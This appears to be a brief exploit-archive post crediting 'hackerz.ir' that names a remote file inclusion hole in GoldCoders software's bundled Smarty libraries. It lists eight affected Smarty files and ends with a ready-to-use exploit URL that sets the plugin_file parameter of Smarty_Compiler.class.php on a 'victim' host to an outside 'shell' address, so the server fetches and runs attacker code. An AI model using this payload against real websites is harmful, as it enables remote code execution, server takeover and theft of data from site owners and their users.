vendor : www.goldcoders.com 
BY : www.hackerz.ir userz,ali 
filez ---- 
inc/libs/Smarty.class.php
inc/libs/Smarty_Compiler.class.php
inc/libs/core/core.display_debug_console.php
inc/libs/core/core.load_plugins.php
inc/libs/core/core.load_resource_plugin.php
inc/libs/core/core.process_cached_inserts.php
inc/libs/core/core.process_compiled_include.php
inc/libs/core/core.read_cache_file.php
+++++++++++++++++++++++++++++++++
u can find more then this one
exploit :
http://victim/inc/libs/Smarty_Compiler.class.php?plugin_file=http://shell/?